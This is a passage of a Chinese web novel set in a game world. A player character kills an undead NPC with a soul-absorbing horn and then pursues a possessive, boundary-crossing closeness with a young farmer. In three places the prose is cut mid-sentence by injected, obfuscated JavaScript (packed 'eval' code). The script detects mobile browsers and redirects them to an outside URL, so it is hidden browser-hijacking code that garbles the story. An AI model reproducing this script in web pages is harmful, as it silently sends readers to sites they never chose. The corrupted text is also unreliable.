黄昏薄雾气得简直想翻白眼,优雅形象荡然无存,他都想指着魏尔德的脸骂:“可恶,可恶,丧尸就是丧尸,这副尊容就不要出来吓人啊。” 算了,不要生气,都不重要。 他何必在意一个NPC的想法。 黄昏薄雾想好了,身为玩家,玩游戏就要选最有挑战性的一种,打怪也要选择最危险最有难度的方式。他将自我抱怨消化完毕,抬眼看见魏尔德似乎在劝说佣兵团,让他们放过雾钟村 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16347625|182876||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,放过尤弥尔,可佣兵团又不是他的下属,对他的忍耐力极其有限。 就在双方僵持不下的时候—— “听说你们在找独角兽?” 他笑吟吟地插话,说话间又换上了【尖叫奔跑之靴】,现在不需要偷袭,只需要速度,他几乎是踏风而来,闪电般出现在魏尔德身后。 黑夜之中唯有火焰照亮眼睛,光影明灭,忽远忽近,让人根本看不清他的表情。 “为什么要无视我呢,说不定我才是掌握关键情报的那个。不过我这么善良,免费告诉你也没问题,你应该知道,所谓的独角兽,就是一个收集灵魂的炼金物品,它最喜欢,也最会吸引你们这些已经死去,或者即将死去的灵魂。” “呃啊……” 魏尔德心里一惊。 痛觉早已随着第一次生命离去而消散,他没有疼痛发出的警告,也没有鲜血汩汩流出的生命消逝感。 他只是后知后觉。 胸口传来一股极其强劲的吸引力,仿佛将他所剩无几的灵魂和意识吸收干净。他低下头,一根乳白色的尖锐长角贯穿胸口,带着粘连不断的血管和碎肉,而后他意识到,被贯穿的原来是他自己。 耳边似乎想起了他死亡时听见的声音:“将汝的灵魂交给吾,将吾的躯体贯穿汝,吾将带汝重回尘世。” 魏尔德恍然大悟。 原来他苦苦追寻,原来尤弥尔的花园一直在吸引他的,就是—— 就是—— 意识在这一刻彻底归于混沌,身体变成角的附属品,角将尸体转化为独角兽的速度很快,随着距离魏尔德最近的佣兵的惨叫,长角吸纳灵魂和尸体,并将它们融合成一个更大、更强、更完善的集成体,而后去捕猎更多的尸体。 美妙的惨叫、血腥的仪式、寂静的月夜。 想要染指尤弥尔的、想要伤害尤弥尔的,想要夺取尤弥尔的,都在今晚,成为祂躯体的一部分。 “呵呵呵哈哈哈哈……” 黄昏薄雾不紧不慢地从背包拿出武器,他狂笑着,用疯狂又喜悦的声音,将弩箭对准已然成型的庞大怪物。 祂足有一棵百年古树那么大,足有一头大象那么高,猩红空洞的目光望向玩家,头顶的长角圣洁、莹白,在月光之下微微发亮。 啊。 堕落的怪物渴望着成长。 却不知死活地,成为玩家升级的养料和阶梯。 21.第 21 章 【调查魏尔德:任务进度已更新。】 【恭喜,您找到了魏尔德并杀死了吸取他灵魂的独角兽,您完成了任务!】 【玩家黄昏薄雾507 完成任务,获得奖励:经验值5000点,金币800枚,精良品质装备x1。】 【您获得的精良品质装备已放入仓库。】 【经验条已满,您已升级,当前等级:11级,获得属性点x1,请打开人物面板选择心仪的属性。】 【以下是好感度结算:】 【魏尔德对玩家的好感度-20。】 【魏尔德当前好感度:-20。】 【尤弥尔 对玩家的好感度+4。】 【尤弥尔 当前好感度:40。】 …… 头好晕。 潜意识是片无底而又深沉的洞,一把小铁锤不停对着太阳穴凿了又凿,一下又一下,无穷无尽。 尤弥尔觉得自己是被硬生生凿醒的。 清晨的第一缕阳光穿透云层和洋楼玻璃,落入他迷惘的眼底,尤弥尔强行挣脱眩晕的牢笼,缓缓起身,后知后觉。 ……我没死? 我居然还活着? 记忆中的最后一幕是猛烈灼热的火舌,和脆弱得不堪一击的小屋天花板,尤弥尔觉得自己大概是要交代在这里了,他逃无可逃,别无他法,尝试着放松身体,幻想着置身于冰天雪地的严寒而非火场,又或者迎接他的是一个温暖却不那么致命的怀抱。 ——等等,他好像真抱住谁了。 太阳穴猛然又是一痛,他脑袋里那个不听话的小锤子狠狠地砸了他一下,尤弥尔嘶地一声抱住脑壳。 下一刻,有什么东西穿过他的腋下触碰他的胸口,他察觉到自己好像坠入了一个和猎人小屋死亡前幻想一模一样的怀抱中。 熟悉的耳语传来:“早上好啊,尤弥尔。” “早上好……不对,什么早上好了!” 尤弥尔崩溃扶额:“黄昏先生,你为什么又在我房间里啊!” 这场景该死地熟悉。 “当然是因为尤弥尔又没能好好照顾自己,我只好勉为其难盯着你,免得你一不小心被烧死。” “当时是情况特殊,我没办法……”尤弥尔的声音渐渐低了下去。 “嗯哼。” 黄昏薄雾含笑看着他,那笑容分明是在说,你说任你说,你看我听不听。 好吧,他承认他是有一些冲动了,错误地估计局势和佣兵团的狠辣程度,哪知道他们狠到眼睛眨都不眨就敢一把火烧死那么多手无寸铁的孩子。 他大概是太心虚了,否则为什么要和黄昏薄雾承认错误,嘴唇蜂鸟般嗡动:“我下次不会这么做了。” “你怎么还敢想下次的尤弥尔。”黄昏薄雾淡淡道,“你这么弱,这么菜,就应该躲在人群之中,躲在安全的地方,等待我去找你。” “……”骂我就骂我,怎么还带人身攻击的。 他闭上了嘴巴,他不说话,黄昏薄雾就只会一副笑意盈盈的样子看着他,静谧在狭小的房间内流淌,尤弥尔和他短暂地对上目光,而后发现黄昏薄雾的距离不知不觉向他靠近了,不再是黑着脸抱着被子在床下打地铺,而是坐在他的床边,用双臂将他困在狭小的空间内。 太近了。 尤弥尔有点不自在。 他并不知道好感度越高,他对黄昏薄雾的肢体接触容忍度就越高,好感度达到40之后,系统已经可以允许黄昏薄雾在不经尤弥尔允许的情况下主动贴近——过于亲密的行为除外。 他只是因为黄昏薄雾突兀的靠近下意识地偏开头,不自觉牵动右臂——在火场中被烧伤了。 那点不自在也随着疼痛烟消云散。 “嘶……” 尤弥尔撩起衣袖观察那道伤疤,它在肩头,表面形成黏黏糊糊的水膜,边缘红肿,想来会有相当长的时间内影响行动。 只见黄昏薄雾变魔术,单手在虚空中一掏,仿佛那里存在一个没人能看见的口袋,指尖翻转,掌心内便出现一支粉红色的玻璃试管。 尤弥尔正惊讶于黄昏薄雾的魔术技巧精湛,就见这人随手一抛,那只粉红试剂闻闻落进他手中,指尖点了点试管又点了点他的唇,意思是让他喝了它。 “这是什么?”尤弥尔问。 黄昏薄雾言简意赅:“治疗药水。” 治疗药水,尤弥尔多多少少听过的,依照剂量和浓度治疗外伤,小到摔破膝盖表皮,大到心脏被捅穿,只要人没死,就都能救回来的炼金物品。 只是它在黑市和一些隐秘的圈子内流通,尤弥尔从没见过。 就算见过也买不起。 尤弥尔并不清楚这一管小小的试剂要花多少金币,总之是炼金物品,听上去就是他买不起的天价,他犹豫地看向黄昏薄雾又看看试剂,想着就这点小伤没必要让黄昏薄雾花费如此贵重的代价。 不如把它换成黄金。 能买好多好多种子,好多好多地呢。 他皱着眉,思来又想去,连目光落在他身上都没能注意,死死地盯着试管封口的软木塞,纠结该怎么向黄昏薄雾开口,说他不需要这个,让黄昏薄雾拿走。 一声嗤笑从对面传来。 “尤弥尔真是笨蛋呢。”鼻尖的痣仿佛在闪光,黄昏薄雾嘴角轻轻勾起,他心情愈发愉悦,嘴角的弧度绽放触目惊心的美丽,接过尤弥尔手中的试剂管。 而后一口饮尽。 倏忽他猝然靠近,那张美丽到妖异的脸在眼前骤然放大,尤弥尔下意识屏住呼吸,却发现黄昏薄雾的目标并不是脸颊的任意部位。 潮湿且充满凉意的吻落在肩头,视线死角仿佛有什么柔软的东西触碰红肿和烧伤,像一条蛇漫过荒野。 黄昏薄雾在舔舐他的伤口。 直到治疗药水完全覆盖那条丑陋的疤痕,红肿渐渐褪去,薄膜和水泡渐渐愈合,黄昏薄雾才心满意足地舔了舔嘴角,眉眼潋滟闪过一丝餍足。 “草莓味的。”他砸吧嘴,评价道。 尤弥尔:“……” “………………” 他好想使劲晃晃黄昏薄雾的脑袋,看看里面到底装的是豆腐渣还是水。 这人属狗的吗? 伤口多脏啊,怎么还用舔的! 。 治疗药剂的效果出乎意料地好,不仅治好了尤弥尔的烧伤,连他被火烧得参差不一的焦黑头发也变回原样。 他打开门,一眼看见眼巴巴在门口等着他的妹妹。 “加嘉莉!” 他妹妹的身体瘦弱纤细,尤弥尔轻轻一拥便将她揽入怀中,他心疼地抚摸她的发尾:“没受伤吧?” “我没事,其他的孩子也没事,”加嘉莉将脸埋进哥哥肩膀,熟悉的香味钻入鼻腔,她要踮起脚才能搂住尤弥尔的脖子,缓慢地说,“我跑走没多久,就碰到了姐姐。” 玛丽琳也是寻找孩子队伍的一员,她几乎和尤弥尔同时发现加嘉莉丢了,也发现加嘉莉暗中做的标记,只是用米粒做的标 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16352958|182876||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 记免不了被小鸟啄食,中途有一节实在分辨不出来,她就和尤弥尔分头行动了。 比起尤弥尔,玛丽琳要能打得多。 然而等她赶往战场时,只见现场狼藉一片,猎人小屋在战斗中化作飞灰,到处是散落的尸体和看不出原型的碎片。明明在赶到现场前大地在震颤,她猜测是一种体型庞大的生物在与什么人战斗,赶到现场后却什么都忘了,像是被一种无法察觉到的力量修改认知,让她以为现场的一切都是正常的。 团灭的佣兵团是正常的。 狞笑着用角捅穿自我的黄昏薄雾也是正常的。 “不是要捅穿身体吗?不是要吸取灵魂吗,那就来吸取我的吧,”黄昏薄雾自言自语,周身氛围比怪物更怪物,活脱脱一个浴血杀人狂,喃喃道,“让我看看,到底游戏玩家有没有灵魂。” ——玛丽琳认为这也是正常的。 她像是注意不到黄昏薄雾的自杀式行为,也没觉得突然睁开眼满血复活的黄昏薄雾有哪里不对,火光散去的漆黑森林中,两人之间连句话也没说,黄昏薄雾背起昏迷的尤弥尔,扬长而去。 尤弥尔对此一无所知。 他一遍又一遍抚摸加嘉莉的头发,从颅顶到发尾,在身后黄昏薄雾的假装咳嗽中直起身,问:“玛丽琳呢?” “在楼下。” 似乎沉默了一刻,加嘉莉语气幽幽,补充道:“在做饭。” 背景传来咚、咚、咚仿佛打雷的应和的声音。 尤弥尔僵硬住了。 玛丽琳的手工极烂,她的烂,不仅体现在亲手缝制的鞋子根本不能穿,也体现在厨艺——稍不注意,她就可能一刀连菜板一起劈成两半。 尤弥尔哆哆嗦嗦,之间颤抖:“我记得我们家菜板才换了不到一周。” 加嘉莉沉痛地点头。 虽然一块菜板只值两枚银币,一块金币能换一百枚银币,很少,但尤弥尔决定还是要保护家里的每一分钱。 他都不知道自己浪费了黄昏薄雾多少钱。 尤弥尔迅速起身,稳定身体,他绕过加嘉莉往前走了几步,却不小心踩到了什么东西,脚一滑,差点连人一起摔倒黄昏薄雾怀里去。 “这是……什么?” 地上骨碌骨碌滚过一根细长的圆锥体,尤弥尔拍拍屁股,觉得那玩意有点眼熟,他本来不擅长分辨这种长着短须的陌生植物,花了好一会才认出。 “这不是我院子里的竹笋吗?”尤弥尔疑惑,“谁给我拔出来了?” 片刻寂静,黄昏薄雾爆发出极致的狂笑,像听见非常搞笑的事情。 “哈哈哈你说这是什么?竹笋?” 不是竹笋是什么,早在佣兵团团灭前就昏死过去的尤弥尔摸不着头脑:“你认识这个东西吗?” “一个失去了作用的容器,索取不到我的灵魂因此陷入宕机也是情有可原呢,”黄昏薄雾捂住腹部,“没想到尤弥尔还把它当成竹笋,还种在地里,哈哈哈真是笑死我了。” 看来是他认错了。 尤弥尔并不觉得羞耻,黄昏先生看上去对这个东西很了解,他好奇地询问:“对不起嘛黄昏先生,我不认识它。” “那它有什么用呢?” 黄昏薄雾笑够了,他将这只众多杀戮的源头,所谓独角兽的角随意丢进尤弥尔怀里。 “现在嘛,它只是丑陋的垃圾,没用的东西,尤弥尔想留着也可以啦,”他吝啬到没给角留下任何眼神,径直越过去,“这么丑的角,丢进灶台当烧火棍刚好。” 22.第 22 章 有那么丑吗? 尤弥尔低头看向手中的角,现在应该叫它烧火棍了。 它笔直、修长,长短和手臂差不多,从尖端到根部依旧保持一种神秘而庄重的渐变色,但不知为何,尤弥尔总觉得它缺乏生机,不像之前在菜园种下它时,纹路流动给人一种“活着”的感觉。 不过,一根长角怎么可能真的有生命。 尤弥尔觉得自己古怪的感受也许是出于种种自然因素碰撞的巧合,比如太阳与月亮交替时的折射、比如常在屋外徘徊的萤火虫,多重原因交织让他产生了长角活着的错觉。 所以大概是幻觉吧。 尤弥尔一点都没把这件事放在心上,他只是一个土生土长的年轻农夫,世界上有太多他未曾体会也不理解的食物。他放宽心,把长角拎在手上,快走几步,追逐身前的黄昏薄雾,火速下楼。 “玛丽琳!” “哦我亲爱的弟弟,看见你康复真是太好了。” 玛丽琳慈爱又惊喜地看着她的弟弟,放下被剁得四分五裂的菜板,用虬实强壮的肱二头肌给了他一个甜美的拥抱。 “今天我给你炖鸡汤。” “不了,玛丽琳。”尤弥尔十分冷静,拒绝,“做饭这种小事还是放着我来吧。” 玛丽琳不解:“你刚恢复,怎么能让你做饭?” “我不做饭的话,我害怕晚上我就会因为看见账单心肌梗塞然后暴毙,理由是某位女士一不小心用菜刀劈断房梁,造成家庭财政重大损失。” “哈、哈,”玛丽琳一点都没意识到尤弥尔的忧虑,笑声明朗,“你可太会说笑了。” 不,他可没在开玩笑。 说真的,尤弥尔并不觉得他承担起家里的日常杂务和伙食有什么不对。人类这种生物具有诸多复杂的特性,有的擅长社交,有的擅长学习,每个人各司其职才能让家庭关系保持长久稳定。 玛丽琳不喜欢也不擅长烹饪,如果她走上灶台的唯一原因是担心尤弥尔的身体,那好像没这个必要。 尤弥尔轻轻推开她:“好啦好啦,我现在不是没事吗,黄昏先生给我使用了珍贵的治疗药水,” 沾着药水舔伤口应该算是使用吧。 “我还没想好这份恩情该怎么还呢,姐姐,如果你有空的话,可以代我和黄昏先生商量出一个我能支付得起的价格吗?” 虽然黄昏薄雾矜持地表示代价尤弥尔已经偿还过了。 这仅仅只是一个借口,一个令尤弥尔挤开玛丽琳,掌握厨房的借口。脑袋的钝痛和手臂的烧伤都在治疗药剂的作用都已恢复如初,尤弥尔看上去和往日没有任何区别,他熟练地站在铁锅边上,处理食材、煲制高汤,浑然忘我地进入自我的世界。 就是有一点不好,尤弥尔一边打散蛋液一边想,他觉得自己好像忘记了什么东西。 忘记了什么呢…… 直到全家四口坐上餐桌,奶油玉米浓汤入口冲击味蕾,在连毛孔都舒展开来的美味中,尤弥尔猛然想起。 “啊,魏尔德!” 在他发现加嘉莉失踪之前,和魏尔德先生约定过,等他回家打声招呼,立刻就会回去找他的! 他还邀请魏尔德住进他家! 但诸多承诺都随着昨天夜里的兵荒马乱而化作泡影,尤弥尔原计划从废墟往返家里最多十分钟,没想到现在都过去整整一夜了。 找人、闯火场,然后是昏迷,他完全忘记要返回废墟和魏尔德汇合。 好像一个渣男啊。 尤弥尔深刻觉得自己完蛋了,他的风评肯定降至谷底,急忙咕噜咕噜两口喝完碗里所有的汤,和玛丽琳加嘉莉说了声就要往门外走。 “尤弥尔。” 黄昏薄雾拦住他。 “尤弥尔想去见谁?”他分明听见尤弥尔叫了声魏尔德的名字,黏黏腻腻地贴上来,形状姣好的眼里却是令人胆寒的冷光。 “你想去见绷带男?”黄昏薄雾说,“不行啊尤弥尔,你怎么三番两次惦记一个死人,我当然不允许他活着来见你。” 尤弥尔心中却是一惊。 他火速牵起黄昏薄雾的手,拉着他走出洋楼,直到门扉在身后彻底闭合的那一刻。 “这就是好感度上升的好处吗?尤弥尔竟然会主动牵我的手。”黄昏薄雾微笑地看着他,上扬的嘴角好似一朵美丽却有毒的曼陀罗花,“要是你口中没有别人的名字就更好了。” 尤弥尔却没在意他的毒性,小心左右探看,确定四下无人,他踮起脚,附在黄昏薄雾耳边:“你也知道了?” “知道什么?” “魏尔德先生最大的秘密啊,你刚刚说的,”尤弥尔表现得更警惕了,“就是、就是他是个活死人——” 黄昏薄雾:“……” 看尤弥尔这么煞有其事的,原来这也算秘密啊? 可黄昏迷雾却没有嘲讽,选择性遗忘昨天夜里他主动捅穿魏尔德胸膛的事实,装作一副正经的样子开始说谎:“我当然知道啦,毕竟,我和魏尔德先生可是好朋友。” 好感度是-20,态度是厌恶的好朋友。 这还是第一个纯粹讨厌他的生物,黄昏薄雾觉得有些新奇,他反复强调着给自己预设的身份:“去见我的好哥们怎么能不带上我呢?” “是吗?”尤弥尔疑惑,“我以为你不太喜欢他。” “不打不相识嘛,”黄昏薄雾脸红心不跳,“这下你可以告诉我你们之间发生了什么吧?” 或许是接连几次救命之恩让尤弥尔对黄昏薄雾保持充分的信赖,又或许是黄昏薄雾的高魅力值总算对尤弥尔生效了那么一次,尤弥尔最终没能甩开他的手,向黄昏薄雾讲述昨夜的奇遇,随后两人共同向隔壁走去。 清晨。 灼日吹散夜晚的寒冷,露水和海雾渐渐消散,隔壁的废墟经过一夜看起来更加荒凉了。 尤弥尔站在小山般废墟的山底,小声喊:“魏尔德,魏尔德先生——” 他很有可能不在这里了。 尤弥尔认真分析,他觉得不会有人能等他一整夜,即使那是一个死人。 “魏尔德,你还在吗?”尤弥尔继续尝试,他想起魏尔德曾诉说过他的饥饿,“我带了些吃的,还有帮手。” 黄昏薄雾宣泄恶意:“没有回音呢,大概率不是走了,就是死在某个不为人知的角落。” 过了一会。 “你说得对。”尤弥尔有些丧气。 然而在他即将转身离开的那刻,废墟中的某件衣柜传来了回音,里面存在的某种物体似乎被捆绑住了,费尽力气才挣脱绳索,再用力一脚踹开门。 魏尔德熟悉的声音传来:“唔……唔!!!!!” 听上去好像很愤怒。 尤弥尔惊疑地望过去,却发现魏尔德愤怒的对象竟然不是自己,而是站在他身后的黄昏先生。 不知为何,魏尔德明明是个没有舌头不能说话的哑巴,黄昏薄雾却一副能听懂的样子。 魏尔德:“唔唔唔!!”你这个杀人魔。 黄昏薄雾:“哎呀,被你发现了。” 魏尔德:“啊啊嘶……唔。”你昨天想杀了我,居然用角捅穿我! 黄昏薄雾眯眼笑道:“是呀,可惜你没死掉,大概是因为你家族谱系里有什么别的物种的血统吧,类似人鱼或者亡灵法师之类的,运气真好。” 魏尔德:“呼呼嗬啊!”为什么要杀我? 黄昏薄雾:“这种事情还需要理由?其实我还想再 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16358514|182876||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 试试的。” 魏尔德:”嗬嗬。”恶魔。 黄昏薄雾颔首:“谢谢夸奖。” 旁观的尤弥尔:“……” 听不懂,完全听不懂。 难道真如黄昏先生所说,他和魏尔德是一见如故的好兄弟,否则这鸡同鸭讲的局面为什么只有他一人置身事外,连个插嘴的机会都找不到。 他最后只能见缝插针怯怯地插嘴,举手:“额我本来是想来和魏尔德先生道歉的,对不起昨天晚上我失约了。” “还有就是,这里不是说话的地方,你们要不……去我家?” 话音落下,魏尔德表现得很激动,看肢体语音他应该是同意的意思,可不知怎的,黄昏薄雾却越过他,单臂按住魏尔德的肩膀,捂住魏尔德的嘴。 “不行,尤弥尔,我可不允许脏东西进我们家。” 尤弥尔不解:“什么脏东西?” 黄昏薄雾一时没说话。 过了几秒,他微笑着,用重音强调:“没什么,尤弥尔,我的意思是,我和我的‘好兄弟’有话私下要说,就先不回去了。” “好吧。”尤弥尔回答。 他是该相信黄昏薄雾的坚固友谊,他的邻居拥有全世界的好感,所有人都喜欢他,所有人都热爱他,就算多一个好兄弟也没什么稀奇的。 尤弥尔再最后看了一眼两人,看见黄昏薄雾在他的视线中依旧保持微笑,仿佛冷漠和杀意从未出现在他瑰丽上挑的眼尾,可它们又确实出现了,一闪而过,宛若幻觉。 “拜拜。”黄昏薄雾向他挥挥手。 他也施以同样的告别,而后回了家。 回到家的时候,屋子已经全然安静静下来了,餐桌中央的花瓶换了支新鲜的向日葵,在阳光能照耀的地方舒展花叶。尤弥尔坐在厨房,看着冷灶的余火,茫然地不知该做点什么。 他最后选择熏肉。 取出新鲜的牛前胸肉,切成均匀的厚片,再用盐、黑胡椒和黄芥末酱作为腌料,尤弥尔在一系列的忙碌中忘记时间,蹲坐在冷灶前,思考着该怎么生火。 火石和木炭试了几次都不管用,尤弥尔拿他全新的长角烧火棍捅了捅,不知道是哪个没有常识的家伙往火炉里倒了水,导致现在灶火点不着,还总是飘出一阵阵漆黑的浓烟。 “咳咳、咳咳。” 尤弥尔被熏得流泪。 他睁不开眼,大滴大滴的泪珠从眼角滑下,划开绝妙的弧形,在精致的下巴最尖处汇集成饱满的一滴。 “我回来啦,尤弥尔。” 他听见门开的声音,来不及用手将眼泪抹去,轻轻叫了声黄昏薄雾的名字:“魏尔德先生呢?” “他走了哦,准备回到城里去,城主的儿子嘛,就算变成僵尸也轮不到我们操心。”黄昏薄雾若无其事地说。 “尤弥尔,你怎么哭了?” 尤弥尔听见耳畔一阵悉悉索索的声音,不好意思讲他这是被烟熏的。 但紧接着一阵冰冷而又清甜的气息靠近,他察觉到有什么东西在下巴一勾,那股冰冷的吐息就落在他的唇角。 像一个吻。 黄昏薄雾的声音倏忽放大:“是咸的呢,尤弥尔,你的眼泪。” “咸的也好,甜的也好,就算是致命的毒药,我都喜欢。” 尤弥尔的脑袋轰然一响。 黄昏薄雾……不是,黄昏先生……太亲密了,这也太亲密了,类似的话他说过好几次,但是现在,但是被他救过许多次,被他用温柔细腻的眼神凝视过许多次,也被他强硬又不着痕迹地越界过许多次。 尤弥尔开始真切地怀疑。 他的邻居,黄昏薄雾507先生。 ——该不会是真的喜欢他吧?